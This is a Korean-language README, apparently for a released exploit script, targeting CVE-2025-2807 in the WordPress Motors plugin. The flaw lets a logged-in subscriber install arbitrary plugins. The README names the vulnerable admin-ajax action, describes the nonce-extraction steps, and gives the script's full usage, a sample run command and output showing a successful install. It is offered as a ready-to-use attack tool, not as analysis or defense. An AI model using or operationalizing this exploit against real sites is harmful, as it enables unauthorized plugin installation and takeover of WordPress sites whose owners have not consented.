CVE-2025-2807: Motors 플러그인 <= 1.4.64 - 임의 플러그인 설치 취약점

익스플로잇 제공: Nxploited | Khaled Alenazi

⚠️ 취약점 요약

플러그인: Motors (<= 1.4.64)
유형: 인증된 (Subscriber+) 사용자의 누락된 권한 확인으로 인한 임의 플러그인 설치
심각도: 8.8 (CVSS v3)
발견일: 2025년 4월 7일
VDP: 아니요

🔥 익스플로잇 영향

이 취약점을 통해 인증된 WordPress 사용자 (Subscriber+) 는 적절한 권한 확인 없이 임의의 플러그인을 설치할 수 있습니다.

mvl_setup_wizard_install_plugin 함수에서 기능 확인이 누락되어, 낮은 권한의 사용자가 관리자에게 예약된 작업을 수행할 수 있습니다.

📅 간단성과 심각한 영향으로 인해 대규모 익스플로잇이 예상됩니다.

🚫 기술적 세부사항

취약한 엔드포인트: /wp-admin/admin-ajax.php
취약한 액션: mvl_setup_wizard_install_plugin
필요한 접근 수준: Subscriber+ (로그인한 사용자)
핵심 문제: current_user_can('install_plugins') 또는 유사한 권한 확인 누락

🚀 익스플로잇 스크립트 (Python)

이 스크립트는:

구독자로 로그인
필요한 nonce 추출 (HTML 또는 JS에서)
취약한 AJAX 호출을 트리거하여 선택한 플러그인 설치

📃 사용법

usage: CVE-2025-2807.py [-h] -u URL -un USERNAME -p PASSWORD [-pn PLUGIN]

Exploit For CVE-2025-2807 By: Nxploited | Khaled Alenazi

options:
  -h, --help            show this help message and exit
  -u, --url URL         Base URL of WordPress site
  -un, --username USERNAME     Subscriber username
  -p, --password PASSWORD      Subscriber password
  -pn, --plugin PLUGIN         Plugin to install (default: contact-form-7)

🐞 실행 예시

python3 CVE-2025-2807.py -u http://192.168.1.100/wordpress -un subscriber -p 123456 -pn contact-form-7

출력:

[*] Logging in...
[+] Logged in successfully.
[*] Fetching setup wizard page...
[+] Found nonce in HTML: 428cdf8347
[*] Attempting to install plugin: contact-form-7
[+] Plugin installation request sent successfully!
[+] Response: {"success":true,"data":"Plugin succesfully activated"}

CVE-2025-2807

인기